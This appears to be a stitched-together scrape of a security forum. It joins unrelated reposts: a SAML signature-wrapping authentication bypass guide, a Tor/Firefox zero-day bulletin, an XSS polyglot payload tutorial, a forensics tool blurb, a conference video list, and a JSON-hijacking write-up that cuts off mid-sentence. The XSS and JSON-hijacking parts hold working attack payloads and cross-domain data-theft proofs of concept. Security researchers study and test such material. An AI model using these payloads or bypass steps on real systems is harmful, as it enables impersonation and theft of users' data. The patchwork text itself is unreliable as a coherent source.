Leaderboard

CyberChef - The Cyber Swiss Army Knife

Author: Tim Goddard - Security Consultant at Aura Information Security Link: http://research.aurainfosec.io/bypassing-saml20-SSO/ Bypassing SAML 2.0 SSO with XML Signature Attacks We’ve recently noticed a trend with a lot of New Zealand sites wanting to implement Single Sign-On (SSO) to combat the proliferation of passwords, including many government services. The most prevalent standard for doing this, providing interoperability between many vendors’ frameworks and multiple languages, is SAML 2.0. The usual mechanism for this passes the SAML response certifying the user’s identity through the web browser, using a signature to prevent tampering. Unfortunately, many SAML consumers don’t validate responses properly, allowing attacks up to and including full authentication bypass. Overview SAML 2.0 SSO Identifying SAML Responses Protecting Messages in Transit The XML Signature Standard Getting Started with SAML Raider Checks Is a Signature Required? Is the Signature Validated? Is the Signature From The Right Signer? Is the Correct Part of the Response Signed? Limitations of SAML Raider SAML Pentest Checklist SAML 2.0 SSO When signing in to a site with SAML 2.0, there are three parties involved - the Service Provider (‘SP’, the web application we want to access), the Principal (the user logging in) and the Identity Provider (‘IdP’, the authority). We want to accomplish the aim of getting the Identity Provider to tell the Service Provider, in a trustworthy way, who the Principal is. We do this by having the Service Provider redirect our user to the Identity Provider with a SAML request. Once the Identity Provider is satisfied as to the user’s identity, they send them back to the Service Provider with a SAML response. There are three major ways of sending a message for web SSO, which the standard refers to as “bindings”: HTTP Redirect Binding. We include the SAML message directly in a URL. HTTP POST Binding. We include the SAML message in the body of a POST request. HTTP Artifact Binding. We send a random token, which acts as an identifier to retrieve the document via a back channel. The first two of these can have some serious implementation issues. Identifying SAML Responses As described previously, SAML responses are generally passed either in the URL like this: or in the body of a POST request like this: Both of these forms can be manipulated by an attacking user as it passes through their browser. If, on the other hand, you see a SAML Artifact like this: then there’s probably not much you can do with it as an attacker. These tokens are resolved into the original messages and then retrieved via a back-channel, so unless you have access to the target’s private network (and likely an SSL/TLS implementation bug while you’re at it), these are pretty useless to an attacker. Protecting Messages in Transit The issue here is that in both the HTTP Redirect and HTTP POST bindings, the document from the IdP validating the user’s identity is passed through that user’s browser, and hence may be tampered with in transit. The HTTP Artifact Binding is immune to this particular issue. If these messages lack any protections, an attacker could simply modify the response to, for example, claim to be somebody else. If I log in to the IdP as “Tim” then I could simply alter the response document to claim to be “Emmanuel” instead. In fact, I could just entirely forge the response, become Emmanuel, and impersonate him. Of course, the authors of the standard aren’t lax enough to let that slip past them - they’ve tried very hard to fix this problem. The solution in the standard is to attach an XML Signature to each message, protecting that message against tampering. The XML Signature Standard The XML Signature standard is an immensely complicated beast, designed by a working group involving all the big names, and intended to be a one-size-fits-all solution to building tamper-resistant XML documents. Unfortunately, as is often the case, one-size-fits-all becomes the-only-size-fits-nobody. In a normal application of digital signatures, we take a document to be signed, run it through a cryptographic hash function, and then apply a digital signature algorithm to the hash. If the document received is exactly identical, the signature will validate, whereas if even a single bit changes, the signature becomes invalid and the document is rejected. Unfortunately, XML Signatures have one killer feature - the standard allows us to sign part of the document instead of the whole document, and embed the signature within the same document it’s supposed to be validating - so called inline signatures. The signatures do this by containing a “Reference” to the part of the document they sign, usually by referring to the “ID” attribute of an XML element, but in theory allowing anything in the XPath standard to be used as an expression. I can, in theory, write a signature anywhere within a document that refers to the “third to last <foo> element”, or equally vague expressions. When validating an XML signature it’s not enough to ask the question “is this a valid signature from this signer?”. We also have to ask “is this signature present, referring to the right part of the document, applying all the right canonicalizations, from the expected signer AND valid?”. All too often, at least one of these checks is not implemented. Getting Started with SAML Raider While all attacks described here can be carried out without many tools, SAML Raider1, a Burp proxy plugin, is a useful tool for testing the common cases. Checks As described above, signatures can appear in various places within the SAML message and cover various parts of the message. By keeping the content of the message but adding new parts and modifying the structure of the remaining parts, we can craft messages that are still technically signed correctly, but may be interpreted by SAML libraries as having crucial parts signed when they are not. Whenever the Service Provider is supposed to check something, there’s an opportunity for them to fail to do so or do so incorrectly, giving us an opportunity to bypass the signature. Enable Burp’s interception, capture the SAML request, and try these transformations. Each one should be done against a fresh, valid log-in attempt, as there is usually a nonce preventing us from replaying the same request repeatedly. For repeated attempts, you may benefit from intercepting a single endpoint only in Burp using interception options like this: Is a Signature Required? The SAML standard requires that all messages passed through insecure channels, such as the user’s browser, be signed. However, messages that pass through secure channels, such as an SSL/TLS back channel, do not have to be. As a result of this, we’ve seen SAML consumers that validate any signature present, however silently skip validation if the signature is removed. The software is essentially presuming that we’ve already checked that a message coming from an insecure channel is signed, when this isn’t the case. The impact of this is the ability to simply remove signatures, and tamper with the response as if they weren’t there. SAML raider can test this one pretty easily: Is the Signature Validated? Validating XML signatures is extremely complicated, as the standard expects a series of transformation and canonicalization steps to be applied first (e.g. to ignore the amount of white space). The difficulty of this makes it extremely hard to validate signatures without a fully featured XML Signature library behind you. The impacts of this are: Developers don’t generally understand the internals of signature validation. Intermediate tools, such as web application firewalls, have no idea whether signatures are valid or not. Libraries may have configurable options, such as lists of permitted canonicalization methods, which are meaningless to the developer. The difficulty of implementing this standard, and the somewhat arcane nature of it, leads to the issues we will now look at. First, testing whether the signature is validated at all is simple - change something in the supposedly signed content and see if it breaks. Is the Signature From The Right Signer? Another stumbling block is whether or not the receiver checks the identity of the signer. We haven’t seen this one done wrong, but SAML Raider will make this fairly easy to test. Copy the certificate to SAML Raider’s certificate store: Save and self-sign the certificate, so we have a self-signed copy of the same certificate: Now we can re-sign the original request with our new certificate, either by signing the whole message or the assertion: You could identify which of those two options is normally used by your recipient, or just try each of them. Is the Correct Part of the Response Signed? How XSW Attacks Work The SAML standard allows signatures to appear in two places only: A signature within a <Response> tag, signing the Response tag and its descendants. A signature within an <Assertion> tag, signing the Assertion tag and its descendants. The SAML standard is very specific about where signatures are allowed to be, and what they are allowed to refer to. However, nobody implements XML signatures in all their gory complexity for use in SAML alone. The standard is generic, and so are the implementations and software libraries built for it. As a result, the separation of responsibilities looks like this: The XML Signature library validates according to the XML Signature standard, which allows anything to be signed from anywhere. The SAML library expects the XML Signature library to tell it whether or not the response is valid. Somewhere in the middle of these two components, the rules about what we have to sign are often lost. As a result, we can often have our signature refer to a different part of the document, and still appear valid to the recipient. By copying the signed parts of the document, and ensuring the signatures point to the copies, we can separate the part of the document that the XML Signature library checks from the part of the document that the SAML library consumes. Automated XSW SAML Raider will automate the most common attacks of this form for you: Try selecting each of those options from the drop-down, clicking “Apply XSW” and sending the request on. If this doesn’t cause an error, try doing it again and changing the username or other user identifier in each place it appears in the SAML XML. Limitations of SAML Raider While SAML Raider will test the common cases, there are a few attacks that require a deeper understanding: Producing a response that will validate against an XML schema (requires hiding the shadow copy inside an element that may contain xs:any). Bypassing validation when both the Response, and Assertions within it are signed and checked. Bypassing XML signatures in non-SAML contexts, for example SOAP endpoints using WS-Security extensions. Manual XSW If SAML Raider’s out-of-the-box options don’t work, you may want to try a manual approach: Decode the Base64-encoded content to access the SAML Response XML. Check that the signature’s <Reference> tag contains the ID of a signed element. Copy the signed content somewhere else in the document (often the end of the <Response> is OK, if XML Schema validation is in play try finding somewhere to copy it that doesn’t break the schema.) Remove the XML signature from the copy, leaving it in the original. This is necessary as the XML encapsulated signature standard removes the signature that is being validated. In the original document, this was the contained signature, so we have to cut it out from the copy. Change the ID of the original signed element to something different (e.g. change a letter). Change the content of the original assertion. Re-encode as Base64, put in to the request and forward on. If the signature validation points to the copy, it will ignore your changes. With practice, you can complete this process pretty quickly if strict time limits on requests are in play. SAML Pentest Checklist Does the SAML response pass through the web browser? Is it signed? If not, try changing the content. Is it accepted if we remove the signatures? Is it accepted if we re-sign it with a different certificate? Do any of the eight transforms baked in to SAML Raider produce a result that is accepted? If you change such a response, is the modified response accepted? Might one of SAML Raider’s limitations noted above apply? If so, you may need to try a manual approach. 1 https://github.com/SAMLRaider/SAMLRaider

We’re publishing this as an emergency bulletin for our customers and the larger web community. A few hours ago a zero day vulnerability emerged in the Tor browser bundle and the Firefox web browser. Currently it exploits Windows systems with a high success rate and affects Firefox versions 41 to 50 and the current version of the Tor Browser Bundle which contains Firefox 45 ESR. If you use Firefox, we recommend you temporarily switch browsers to Chrome, Safari or a non-firefox based browser that is secure until the Firefox dev team can release an update. The vulnerability allows an attacker to execute code on your Windows workstation. The exploit is in the wild, meaning it’s now public and every hacker on the planet has access to it. There is no fix at the time of this writing. Currently this exploit causes a workstation report back to an IP address based at OVH in France. But this code can likely be repurposed to infect workstations with malware or ransomware. The exploit code is now public knowledge so we expect new variants of this attack to emerge rapidly. This is a watering hole attack, meaning that a victim has to visit a website that contains this exploit code to be attacked. So our forensic team is keeping an eye on compromised WordPress websites and we expect to see this code show up on a few of them during the next few days. An attackers goal would be to compromise workstations of visitors to WordPress websites that have been hacked. How this unfolded On Tuesday just after noon Pacific time, someone published a 0 day exploit for Firefox and Tor to the tor browser mailing list. Since then researcher Dan Guido posted a series of tweets with some analysis of the exploit itself. Twitter user @TheWack0lian noticed the shellcode (code that executes on your Windows workstation once exploited) is very similar to shellcode likely used by the FBI back in 2013 to deanonymize visitors to child porn websites hosted by FreedomHosting. The FBI confirmed that they compromised that server and days later it was serving malware that would infect site visitor workstations. The code then reported site visitor real IP addresses, MAC addresses (network card hardware address) and windows computer name to a central server. This code is very similar. What we found The shell code in this attack calls back to IP address 5.39.27.226, which was a web server hosted at OVH in France. The site is now down. Our own research shows that if you look up this IP address in Shodan, it had an SSL certificate that is a wildcard for the energycdn.com domain name. That site for energycdn is simplistic and according to archive.org, it has not changed since 2014. Googling energycdn.com shows that the domain is used frequently to host pirated content. Norton Safe Web reports it hosts viruses. Google Safe Browsing transparency report says the domain hosts malware and redirects to malicious sites. One could speculate that the server at 5.39.27.226 was used by energycdn.com as one of their servers to host pirated content. Perhaps the server was compromised by whoever controls energycdn to host that content and then was reinfected by the perpetrator of this new malware variant. But we’re speculating. Via wordfence.com

Mai am și eu un vecin care hiperbolizează, dar parcă nici chiar așa.

That title is in fact a tongue twister, but it helps to describe this post, which will take a look at XSS polyglot payloads. For the newcomers: dafuq is a polyglot? Now since you’re done with reading the first paragraph of that article, let's dive into XSS vectors with the motto "One payload to rule them all." This post will assume the reader knows the basics of what XSS is, and how to find & exploit it. If you don’t, OWASP’s XSS article is a great resource to brush up on. Knowledge about HTML contexts is also required to be able to follow the article. Contexts, Contexts, Contexts! When testing for XSS, the injected payload can land into many different places or HTML contexts. Depending on the landing space, different escape characters are required to make an XSS successful. There are XSS attack vectors that try to reach as many contexts as possible in order to be most effective. Those types of attack vectors are called XSS polyglots. There are quite a few contexts with different scenarios that each require a special payload: HTML element: <p> injection </p> HTML attribute value: <p class="injection"></p> HTML attribute name: <p injection="myid123"></p> HTML comment: <!-- injection --> Style element or attribute: <style>injection</style> <p style="injection"></p> Javascript: <script> var a = "injection"; </script> <script> var b = ‘injection’; </script> URL: <a href="injection">click</a> This list is not complete as there are more configurations possible such as: injection landing in html attributes with single quotes or no quotes injection landing in Javascript context without quotes nested contexts (URL in Javascript, URL in CSS) etc. However, for most real world scenarios, covering the first list will be enough to find most XSS while staying within the character limits that are often present. XSS Polyglot Anatomy Let's start with the simplest example where the XSS payload lands in the normal HTML Element context: <p> Attack_String_Here </p> Most XSS payloads will work in this example and succeed (for example <img src=x onerror=alert(1)>)… nothing special. Looking at another example, this time the XSS payloads land on a different context, namely the HTML Attributecontext: <img src="Attack_String_Here"> For this context, a simple payload like the following would result in XSS: x" onerror="alert(1) Both above payloads are specific to the context they’re attacking, and will not work in the other. This is due to the context nature, which requires specific characters to escape it. In order to be time effective and test both contexts at once, a polyglot XSS payload is required: "><script>alert(1)</script><p id=" The payload hits both contexts due to its clever configuration. For the HTML Element context, the <script>alert(1)</script> will result in Javascript execution while the characters in the beginning and end are ignored (Browser rendering engines have lenient HTML parsers and try to parse as best as they can. Read more here.) When the payload lands in the HTML Attribute context, the characters to the beginning (">) will close the first tag, and allow the <script>alert(1)</script> to continue with Javascript execution. An additional <p id=" is used to well-form the remaining html, however that is not needed due to lax browser parsing as mentioned before. Another polyglot payload that would work for the contexts above is the following: <iframe onload=alert(1)>" onerror="alert(1); This payload still works fine in the HTML Element context (provided angle brackets aren’t encoded), but also works in the HTML Attribute context with a scenario where angle brackets are correctly encoded (but quotes aren’t!). The output would look like this: <img src="&lt;iframe onload=alert(1)&gt;" onerror="alert(2);"> As you can see, the angle brackets were properly encoded but the quotes weren’t. This allowed the polyglot payload to escape from the image source attribute, and add another (onerror) attribute to allow for javascript execution. This is a good example of how useful XSS polyglot payloads are, as they allow testers to catch all of these edge cases at once. We will now build a more complex XSS polyglot payload that will hit all of the contexts mentioned earlier. As a reminder, those contexts were: URL, HTML Element, HTML Attribute name, HTML Attribute value, HTML Comment, Style and Javascript contexts. Because of the unique requirement of the URL context to have the payload start with "javascript:" we will meet that requirement first. So we have the following as payload: javascript:alert(1); Next we will make the payload work in the HTML Attribute context, by adding the following: javascript:alert(1);" onclick=alert(1);// We added a quote, which is needed to escape the HTML Attribute context, added a space and javascript execution. You would think that this would work well (and it does), however the same payload works for the HTML Attribute context when injecting in the attribute name. As crazy as it may seem, the browser will actually parse the following and execute javascript: <p alert(1);" onclick=alert(1);//="myid123">click_me</p> While the payload above breaks a multitude of HTML rules, the browser will look past all of that and try to render what it assumes the developer wanted to achieve. It’s even more curious making the existing payload work for the Javascript context. All you need to do is to add a semicolon after the first quote: javascript:alert(1);"; onclick=alert(1);// With the added semicolon, this payload will now work in the Javascript context with an injection such as: var abc="Injection_here"; While the javascript rendering engine is stricter than the HTML one, it will execute the payload above if injected into a quoted javascript variable simply because it will result in valid javascript code. Back to our payload and the remaining contexts... We will add the same structure used in HTML Attribute and Javascript context for single quotes. After that’s added, the payload looks like this: javascript:alert(1);"; onclick=alert(1);// '; onclick=alert(1);// This takes care of instances when HTML Attributes or Javascript strings use single quotes. With that, we already have 5 contexts that our polyglot XSS Payload can trigger. Additional quick wins for HTML Comment, Style, and the normal HTML Element contexts can be achieved by simply closing the initial part of the context and executing javascript: javascript:alert(1);"; onclick=alert(1);// '; onclick=alert(1);//--></style><button onclick=alert(1);> As you can see, a --> was added to close the HTML Comment context, and a </style> was added to close the style tag. Then a simple XSS payload for triggering javascript gives us another three for a total of eight contexts triggered. A final addition would be a </script> tag before the button tag for cases when the XSS payloads land within a javascript string and single/double quotes are properly encoded. This works because the HTML parser will see the closing </script> tag and end the script part of the html, regardless of whether or not that closing script tag was within a javascript string (HTML doesn’t even speak javascript!). So our final payload looks like the following: javascript:alert(1);"; onclick=alert(1);// '; onclick=alert(1);//--></style></script><button onclick=alert(1);> You can test the payload by pasting it into any of the contexts and clicking on the "click_me"s in the following jsfiddle: https://jsfiddle.net/w5ev7bzn/. (Replace "injection" with the payload.) XSS Polyglots in the wild There are many good examples of XSS Polyglot payloads by known bug hunters. Take Mathias Karlsson’s example from his excellent talk at Hackpra that can hit 7 contexts and stays very well under most length limits imposed on xss-able fields. " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// Jason Haddix presented XSS Polyglot payloads as part of his How to Shot Web talk at Defcon in 2015, and later the Bug Hunter’s Methodology. He also maintains the SecLists project, which has a decent list of XSS Polyglots. Of course XSS Polyglots wouldn’t be cool if there wasn’t a challenge around who’s got the best one. At http://polyglot.innerht.ml/ you can find a challenge for payloads that can hit up to 16 different contexts. The scoreboard shows the winning payloads based on number of contexts hit and length of the payload. I hope you found this useful. To comment on this post or offer your own polyglot tips and resources, continue the conversation on our forum. Happy Hunting! Source : Bugcrowd

DFF is an Open Source computer forensics platform built on top of a dedicated Application Programming Interface (API). DFF proposes an alternative to the aging digital forensics solutions used today. Designed for simple use and automation, DFF interface guides the user through the main steps of a digital investigation so it can be used by both professional and non-expert to quickly and easily conduct a digital investigation and perform incident response. DFF follows three main goals : Modularity In contrary to the monolithic model, the modular model is based on a core and many modules. This modular conception presents two advantages : it permits to improve rapidly the software and to split easily tasks for developers. Scriptability It is obvious that the ability to be scripted gives more flexibility to a tool, but it also enables automation and gives the possibility to extend features Genericity the project tries to remain Operating System agnostic. We want to help people where they are ! Letting them choose any Operating System to use DFF. Amongst supported features of DFF : Automated analysis Mount partitions, file systems and extract files metadata and other usefull information in an automated way. Generate an HTML report with System & User activity Direct devices reading support Supported forensic image file formats AFF, E01, Ex01, L01, Lx01, dd, raw, bin, img Supported volumes & File systems with unallocated space, deleted items, slack space, ... DOS, GPT, VMDK, Volume Shadow Copy, NTFS, HFS+, HFSX, EXT2, EXT3, EXT4, FAT12, FAT16, FAT32 Embeded viewers for videos, images, pdf, text, office documents, registry, evt, evtx, sqlite, ... Outlook and Echange mailboxes (PAB, PST, OST) Metadata extraction Compound files (Word, Excel, Powerpoint, MSI, ...) Windows Prefetch Exif information LNK Browser history Firefox, Chrome, Opera System & Users activity connected devices, user accounts, recent documents, installed software, network, ... Volatile memory analysis with graphical interface to Volatility Videos thumbnails generation Support for Sqlite, Windows Registry, Evt and Evtx Full Skype analysis (Sqlite and old DDB format) Timeline based on all gathered timestamps (file systems and metadata) Hashset supports with automatic "known bad", "known good" tagging Mount functionnality to access recovered files and folders from your local system In place carving ... Sursa: https://github.com/arxsys/dff

BSLV16 BSidesLV 77 videos 446 views Last updated on Nov 17, 2016 Opening Keynote Pt. I & II - Lorrie Cranor-FTC, Michael Kaiser-NCSA by BSidesLV 36:18 Network Access Control: The Company-Wide Team Building Exercise That Only You Know About - Dean Webb by BSidesLV 26:27 Managing Security with the OWASP Assimilation Project - Alan Robertson by BSidesLV 40:17 Toward Better Password Requirements - Jim Fenton by BSidesLV 56:33 Data Science or Data Pseudo-Science? - Ken Westin by BSidesLV 41:51 I Am The Cavalry (IATC) Introduction and Overview - Joshua Corman by BSidesLV 23:33 Shall We Play a Game? 30 Years of the CFAA - Leonard Bailey, Jen Ellis by BSidesLV 1:28:31 Calling All Hacker Heroes: Go Above And Beyond - Keren Elazari by BSidesLV 29:19 Intro to Storage Security, Looking Past the Server - Jarett Kulm by BSidesLV 24:47 Are You a PenTexter? - Peter Mosmans, Melanie Rieback by BSidesLV 43:41 Deep Adversarial Architectures for Detecting *and Generating) Maliciousness - Hyrum Anderson by BSidesLV 39:09 I Am The Cavalry Panel: Progress on Cyber Safety by BSidesLV 35:50 Welcome to The World of Yesterday, Tomorrow! - Joel Cardella by BSidesLV 46:46 Breaking the Payment Points of Interaction (POI) - Nir Valtman, Patrick Watson by BSidesLV 49:06 Cyber Safety And Public Policy - I Am The Cavalry, Amanda Craig, Jen Ellis by BSidesLV 55:23 Security Vulnerabilities, the Current State of Consumer Protection Law, & How IOT Might Change It by BSidesLV 23:07 How to Get and Maintain your Compliance without ticking everyone off - Rob Carson by BSidesLV 23:13 What we've learned with Two-Secret Key Derivation - Jeffrey Goldberg, Julie Haugh by BSidesLV 35:32 Exposing the Neutrino EK: All the Naughty Bits - Ryan Chapman by BSidesLV 55:08 State Of Healthcare Cyber Safety - Christian Dameff, Colin Morgan, Suzanne Schwartz, BeauWoods by BSidesLV 56:46 State Of Automotive Cyber Safety - IATC - Joshua Corman by BSidesLV 48:53 DNS Hardening - Proactive Net Sec Using F5 iRules and Open Source Analysis Tools - Jim Nitterauer by BSidesLV 25:44 Defeating Machine Learning: Systemic Deficiencies for Detecting Malware by BSidesLV 45:14 Beyond the Tip of the IceBerg - Fuzzing Binary Protocol for Deeper Code Coverage by BSidesLV 46:23 CFPs 101 - Tottenkoph, Guy McDudefella, Security Moey, David Mortman by BSidesLV 47:56 Operation Escalation: How Commodity programs Are Evolving Into Advanced Threats by BSidesLV 52:51 Evaluating a password manager - Evan Johnson by BSidesLV 31:26 Why does everyone want to kill my passwords? - Mark Burnett by BSidesLV 32:11 How to make sure your data science isn't vulnerable to attack - Leila Powell by BSidesLV 57:19 DYODE: Do Your Own DiodE for Industrial Control Systems - AryKokos, Arnaud Soullie by BSidesLV 43:10 Ingress Egress: The emerging threats posed by augmented reality gaming - Andrew Brandt by BSidesLV 1:00:45 Ground Truth Keynote: Great Disasters of Machine Learning - Davi Ottenheimer by BSidesLV 32:23 IATC Day 2: Introduction and Overview - Joshua Corman, Beau Woods by BSidesLV 12:44 Mapping the Human Attack Surface - Louis DiValentin (Master Chen) by BSidesLV 26:19 Don't Repeat Yourself: Automating Malware Incident Response for Fun and Profit - Kuba Sendor by BSidesLV 29:57 Crafting tailored wordlists with Wordsmith - Sanjiv Kawa, Tom Porter by BSidesLV 47:07 Hunting high-value targets in corporate networks - Patrick Fussell, Josh Stone by BSidesLV 39:07 A Noobs Intro Into Biohacking, Grinding, DIY Body Augmentation - Doug Copeland by BSidesLV 23:19 No Silver Bullet, Multi contextual threat detection via Machine Learning - Rod Soto, Joseph Zadeh by BSidesLV 52:34 Stop the Insanity and Improve Humanity: UX for the Win - Robin Burkett by BSidesLV 26:10 Powershell-Fu - Hunting on the Endpoint - Chris Gerritz by BSidesLV 27:38 Labeling the VirusShare Corpus: Lessons Learned - John Seymour by BSidesLV 30:21 There is no security without privacy - Craig Cunningham by BSidesLV 30:35 Survey says…Making progress in the Vulnerability Disclosure Debate - Allan Friedman by BSidesLV 1:27:38 Domains of Grays - Eric Rand by BSidesLV 38:29 Automated Dorking for Fun and Pr^wSalary - Filip Reesalu by BSidesLV 13:17 [Private Video] You Don't See Me - Abusing Whitelists to Hide and Run Malware - Michael Spaling by BSidesLV 28:29 Six Degrees of Domain Admin... - Andy Robbins, Will Schroeder, Rohan Vazarkar by BSidesLV 51:51 Uncomfortable Approaches - Joshua Corman, Beau Woods by BSidesLV 45:37 Latest evasion techniques in fileless malware - fl3uryz & Andrew Hay by BSidesLV 26:37 PLC for Home Automation and How It Is as Hackable as a Honeypot - Philippe Lin & Scott Erven by BSidesLV 16:22 CyPSA Cyber Physical Situational Awareness - Kate Davis, Edmond Rogers by BSidesLV 41:12 Hacking Megatouch Bartop Games - Mark Baseggio by BSidesLV 34:54 Passphrases for Humans: A Cultural Approach to Passphrase Wordlist Generation by BSidesLV 58:58 Is that a penguin in my Windows? - Spencer McIntyre by BSidesLV 39:48 Automation Plumbing - Ashley Holtz & Kyle Maxwell by BSidesLV 25:06 Disclosing Passwords Hashing Policies - Michal Spacek by BSidesLV 33:12 PAL is your pal: Bootstrapping secrets in Docker - Nick Sullivan by BSidesLV 51:00 Dominating the DBIR Data - Anastasia Atanasoff, Gabriel Bassett by BSidesLV 56:15 An Evolving Era of Botnet Empires - Andrea Scarfo by BSidesLV 28:28 Building an EmPyre with Python - Steve Borosh Alexander Rymdeko-Harvey, Will Schroeder by BSidesLV 50:19 Scalability: Not as Easy as it SIEMs - Keith Kraus & grecs by BSidesLV 22:38 Ethical implications of In-Home Robots - Guy McDudefella, Brittany Postnikoff by BSidesLV 47:31 The Deal with Password Alternatives - Terry Gold by BSidesLV 55:15 QUESTIONING 42: Where is the "engineering" in the Social Engineering of Namespace Compromises? by BSidesLV 1:04:23 Cross-platform Compatibility: Bringing InfoSec Skills into the World of Computational Biology by BSidesLV 31:27 One Compromise to Rule Them All - Bryce Kunz by BSidesLV 53:00 The Future of Bsides - Panel Session by BSidesLV 52:46 What's Up Argon2? The Password Hasing Winner A Year Later - JP Aumasson by BSidesLV 24:59 Rock Salt: A Method for Securely Storing and Utilizing Password Validation Data by BSidesLV 42:58 I Love my BFF (Brute Force Framework) - Kirk Hayes by BSidesLV 24:06 Proactive Password Leak Processing - Bruce Marshall by BSidesLV Cruise Line Security Assessment OR Hacking the High Seas - Chad Dewey (Adam Brand) by BSidesLV 22:21 Automation of Penetration Testing and the future - Haydn Johnson (Kevin Riggins) by BSidesLV 25:20 Pushing Security from the Outside - Kat Sweet, Chris DeWeese by BSidesLV 26:19 Why it's all snake oil - and that may be ok - Andrew Morris by BSidesLV 46:44 Link: https://www.youtube.com/playlist?list=PLjpIlpOLoRNTG3td7JfV1LDinNFLSHJqM

Friday, November 25, 2016 JSON hijacking for the modern web Benjamin Dumke-von der Ehe found an interesting way to steal data cross domain. Using JS proxies he was able to create a handler that could steal undefined JavaScript variables. This issue seems to be patched well in Firefox however I found a new way to enable the attack on Edge. Although Edge seems to prevent assignments to window.__proto__ they forgot about Object.setPrototypeOf. Using this method we can overwrite the __proto__ property with a proxied __proto__. Like so: <script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){ alert(name); } })); </script> <script src="external-script-with-undefined-variable"></script> <!-- script contains: stealme --> Edge PoC stealing undefined variable If you include a cross domain script with stealme in, you will see it alerts the value even though it's an undefined variable. After further testing I found you can achieve the same thing overwriting __proto__.__proto__ which is [object EventTargetPrototype] on edge. <script> __proto__.__proto__=new Proxy(__proto__,{ has:function(target,name){ alert(name); } }); </script> <script src="external-script-with-undefined-variable"></script> Edge PoC stealing undefined variable method 2 Great so we can steal data x-domain but what else can we do? All major browsers support the charset attribute on script, I found that the UTF-16BE charset was particularly interesting. UTF-16BE is a multi-byte charset and so two bytes will actually form one character. If for example your script starts with [" this will be treated as the character 0x5b22 not 0x5b 0x22. 0x5b22 happens to be a valid JavaScript variable =). Can you see where this is going? Lets say we have a response from the web server that returns an array literal and we can control some of it. We can make the array literal an undefined JavaScript variable with a UTF-16BE charset and steal it using the technique above. The only caveat is that the resulting characters when combined must form a valid JavaScript variable. For example let's take a look at the following response: ["supersecret","input here"] To steal supersecret we need to inject a NULL character followed by two a's, for some reason Edge doesn't treat it as UTF-16BE unless it has those injected characters. Maybe it's doing some sort of charset sniffing or maybe it's truncating the response and the characters after NULL are not a valid JS variable on Edge I'm not sure but in my tests it seems to require a NULL and padded out with some characters. See below for an example: <!doctype HTML> <script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){ alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); } })); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] --> Edge PoC stealing JSON feeds So we proxy the __proto__ property as before, include the script with a UTF-16BE charset and the response contains a NULL followed by two a's in the second element of the array literal. I then decode the UTF-16BE encoded string by bit shifting by 8 to obtain the first byte and bitwise AND to obtain the second byte. The result is an alert popup of ["supersecret"," as you can see Edge seems to truncate the response after the NULL. Note this attack is fairly limited because many characters when combined do not produce a valid JavaScript variable. However it may be useful to steal small amounts of data. Stealing JSON feeds in Chrome It gets worse. Chrome is far more liberal with scripts that have a exotic charset. You don't need to control any of the response in order for Chrome to use the charset. The only requirement is that as before the characters combined together produce a valid JavaScript variable. In order to exploit this "feature" we need another undefined variable leak. At first glance Chrome appears to have prevented overwriting the __proto__ however they forgot how deep the __proto__ goes... <script> __proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{ has:function f(target,name){ var str = f.caller.toString(); alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); } }); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","abc"] --> NOTE: This was fixed in Chrome 54 Chrome PoC stealing JSON feeds works in version 53 We go 5 levels deep down the __proto__ chain and overwrite it with our proxy, then what happens next is interesting, although the name argument doesn't contain our undefined variable the caller of our function does! It returns a function with our variable name! Obviously encoded in UTF-16BE, it looks like this: function 嬢獵灥牳散牥琢Ⱒ慢挢崊 Waaahat? So our variable is leaking in the caller. You have to call the toString method of the function in order to get access to the data otherwise Chrome throws a generic exception. I tried to exploit this further by checking the constructor of the function to see if it returns a different domain (maybe Chrome extension context). When adblock plus was enabled I saw some extension code using this method but was unable to exploit it since it appeared to be just code injecting into the current document. In my tests I was also able to include xml or HTML data cross domain even with text/html content type which makes this a pretty serious information disclosure. This vulnerability has now been patched in Chrome. Stealing JSON feeds in Safari We can also easily do the same thing in the latest version of Safari. We just need to use one less proto and use "name" from the proxy instead of the caller. <script> __proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{ has:function f(target,name){ alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); } }); </script> Safari PoC stealing JSON feeds After further testing I found Safari is vulnerable to the same issue as Edge and only requires __proto__.__proto__. Hacking JSON feeds without JS proxies I mentioned that the UTF-16BE charset works in every major browser, how can you hack JSON feeds without JS proxies? First you need to control some of the data and the feed has to be constructed in such a way that it produces a valid JavaScript variable. To get the first part of the JSON feed before your injected data is pretty easy, all you do is output a UTF-16BE encoded string which assigns the non-ASCII variable to a specific value and then loop through the window and check if this value exists then the property name will contain all the JSON feed before your injection. The code looks like this: =1337;for(i in window)if(window[i]===1337)alert(i) This code is then encoded as a UTF-16BE string so we actually get the code instead of a non-ASCII variable. In effect this means just padding each character with a NULL. To get the characters after the injected string I simply use the increment operator and make the encoded string after a property of window. Then we call setTimeout and loop through the window again but this time checking for NaN which will have a variable name of our encoded string. See below: setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.a I've wrapped it in a try catch because on IE window.external will throw an exception when checked with isNaN. The whole JSON feed will look like this: {"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"} Hacking JSON feeds without proxies PoC Bypassing CSP As you might have noticed a UTF-16BE converted string will also convert new lines to non-ASCII variables, this gives it potential to even bypass CSP! The HTML document will be treated as a JavaScript variable. All we have to do is inject a script with a UTF-16BE charset that injects into itself, has an encoded assignment and payload with a trailing comment. This will bypass a CSP policy that allows scripts to reference same domain (which is the majority of policies). The HTML document will have to look like this: <!doctype 